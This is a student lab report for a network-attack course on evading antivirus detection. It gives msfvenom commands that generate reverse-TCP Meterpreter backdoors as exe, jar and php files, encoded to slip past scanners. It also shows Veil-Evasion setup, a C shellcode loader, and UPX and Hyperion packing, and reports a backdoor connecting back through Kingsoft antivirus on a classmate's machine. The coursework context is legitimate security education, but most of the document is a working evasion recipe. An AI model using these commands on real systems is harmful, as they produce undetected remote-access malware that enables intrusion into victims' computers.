Exp3 免杀原理与实践 20164320 王浩
一、实验内容
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
杀毒软件一般是通过以下三种检测方法来检测恶意代码的:
- 基于特征码的检测
根据恶意代码的各种特殊的一个或者多个片段形成一个特征码库,如果一个可执行文件(或其他运行的库、脚本等)包含特征码库中的数据则被认为是恶意代码。并不是比对整个文件,而是将其中一个或几个片断作为识别依据。所以杀毒软件的恶意代码的病毒库的更新和全面性十分重要,过时的特征码库就无法检测出新的病毒,所以我们也需要及时更新自己的杀毒软件。 - 启发式恶意软件检测
根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
优点:
(1)可以检测0-day恶意软件
(2)具有一定通用性
缺点:
(1)实时监控系统行为,开销稍多
(2)没有基于特征码的精确度高 - 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
- 免杀就是做出令杀毒软件无法鉴定为恶意代码的后门等,无法被杀毒软件发现的程序。
(3)免杀的基本方法有哪些?
- 改变特征码
- 对exe文件加壳:压缩壳 加密壳
- 对shellcode用encode进行编码
- 基于payload重新编译生成可执行文件
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
(1)通讯方式- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
(2)操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
三、实验过程记录
3.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。
3.1.1 正确使用msf编码器
有关msfvenom的参数与使用:

使用msf编码器,msfvenom生成如jar之类的其他文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.40.128 LPORT=4320 -f exe > 20164320_backdoor.exe

放去virscan扫描,扫出问题

改下名字重新测试

编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.40.128 LPORT=4320 -f exe > 20164320 wanghao.exe

又是这个问题

重新改名

放入网站发现有28个软件查出问题

生成.jar文件夹
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.40.128 lport=4320 x> 20164320_backdoor_java.jar

结果出现这个问题???

av???什么鬼?只好改名字,在测试

结果竟然只有14%的查出了病毒???运气这么好?
msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.40.128lport=4320 x> 20164320_backdoor.php

竟然只有2%?????我是不是不用继续做下去了??算了,不皮了,继续
使用veil-evasion生成后门程序及检测
安装veil
- 如果镜像是2018的话,在安装之前可以先执行下面的指令,可能会需要比较长的时间
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
用
sudo apt-get install veil-evasion命令安装Veil之后用
veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:

到现在为止还算顺利,成功下载

疯狂解压

结果 到最后,在这个鬼地方卡了***半天,不管怎么调都动不了

找了半天,想到了一个办法
将这个文件拷贝到

这个目录下,就可以无需解压了

试了试,成功了!

顺利进入安装界面

开始安装



安装完毕后,打开veil
结果?????


,
疯狂报错???到网上找了半天也没有什么有建设性的建议,最后没办法,屈服于这个鬼东西
从同学那拷贝了一个过来,继续实验
输入veil指令,会出现下面这个界面

用use evasion命令进入Evil-Evasion

输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:
set LHOST 192.168.40.128,注意此处的IP是KaliIP;设置端口,命令为:
set LPORT 4320

在主机中找到生成文件位置 var/lib/veil/output/handlers/generate

输入generate生成文件,接着输入你想要playload的名字:20164320

如图所示,该文件子啊output/handlers/20164320这个位置
放入网站检测

好吧。。。。。再次修改,再上传

行吧,竟然还不如之前???
半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.128LPORT=4320 -f c用c语言生成一段shellcode;

- 创建一个文件
20165318.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:i686-w64-mingw32-g++ 20164320.c -o 20164320.exe编译这个.c文件为可执行文件;

执行这个文件

再放入网站进行检查

.加壳尝试一下
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
在技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
- 使用压缩壳(UPX)
给之前的4320.exe加个壳得到sxx_upxed.exe:

火绒还是厉害呢

加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录中 - 进入目录
/usr/share/windows-binaries/hyperion/中 - 输入命令
wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳:
结果竟然成功了!!!!

火绒竟然没有报毒,为了防止意外我又专门扫描这个exe文件,没想到,竟然通过了!!!!


运行后门软件 监听成功


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
室友机子是windows7虚拟机 装了金山毒霸
我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)
- 本机打开msf控制台,开始监听
- 受控机运行后门程序


没有一点意外的成功了,他的金山毒霸跟假的一样,哈哈哈哈哈哈(我们所有人在那上面都能成功)

问题
1.在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT
解决:参考相关博客,最后进入/opt/Veil-Evasion运行,/Veil-Evasion.py就成功啦
2.交叉编译时出现错误,最后的原因是我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。
实验感想
这次实验着实是让我头疼了一把,只能说能成功真的是运气,哈哈哈哈哈,从老师布置实验开始,一直做到今天晚上九点四十,中间的报错和出错率有多高我已经不想再提了,不过最后竟然真的成功免杀,到现在还是有点小激动,哈哈哈哈,希望以后能多有点类似有趣的实验,从这次实验学到了不少知识
Exp3 免杀原理与实践 20164320 王浩的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- Idea 创建控制台程序
1:前提配置好 jdk环境. 最后一步:填写项目名称和保存的路径 即可.
- orm总结
x先谈谈java方面的. mybatis优点是基本啥都有了,sql统一管理,只需接口就可以了,缺点是对于复杂语句的执行还是麻烦,一般还是在程序里解决,自带的动态sql功能较弱不说,重点是调式时还是麻烦 ...
- 1.2低级线程处理API
并行扩展库相当有用,因为它允许使用更高级的抽象——任务,而不必直接和线程打交道.但有的时候,要处理的代码是在TPL和PLINQ问世(.NET4.0)之前写的.也有可能某个编程问题不能直接使用它们解决, ...
- noj算法 迷宫问题 回溯法
描述: 给一个20×20的迷宫.起点坐标和终点坐标,问从起点是否能到达终点. 输入: 多个测例.输入的第一行是一个整数n,表示测例的个数.接下来是n个测例,每个测例占21行,第一行四个整数x1,y1, ...
- Java中输入判定的错误和纠正
在编程过程中,很多技术人员看重程序的简洁性,效率性和包容性.其中最容易问到的就是假如输入数据不符合要求时的程序处理,这也是很多公司的机试题中应聘人员写出了符合功能要求的程序却并未通过面试的原因.下面是 ...
- 【sklearn】数据预处理 sklearn.preprocessing
数据预处理 标准化 (Standardization) 规范化(Normalization) 二值化 分类特征编码 推定缺失数据 生成多项式特征 定制转换器 1. 标准化Standardization ...
- [慢更]Sublime Text 快捷键及使用过的插件
整理自己常用的sublime text命令和插件 1.pretty json Json 快速格式化,免去url访问json站点的烦恼. 摘自:https://segmentfault.com/a/11 ...
- 使用wps插件,实现word转PDF
项目需求:不打算用office自带的组件实现word转pdf操作 环境需求:安装wps2016专业版 新建一个控制台应用程序 添加引用:在COM下 Kingsoft Add-In Designer和U ...
- 一条很用的MSSQL语句
select *,ActionName= stuff((select ',' + ActionName from Sys_Action_Table where ModuleId = Sys_Modul ...
- 咸鱼入门到放弃7--jsp<二>jsp常用标签
一.JSP标签介绍 JSP标签也称之为Jsp Action(JSP动作)元素,它用于在Jsp页面中提供业务逻辑功能,避免在JSP页面中直接编写java代码,造成jsp页面难以维护. 二.JSP常用标签 ...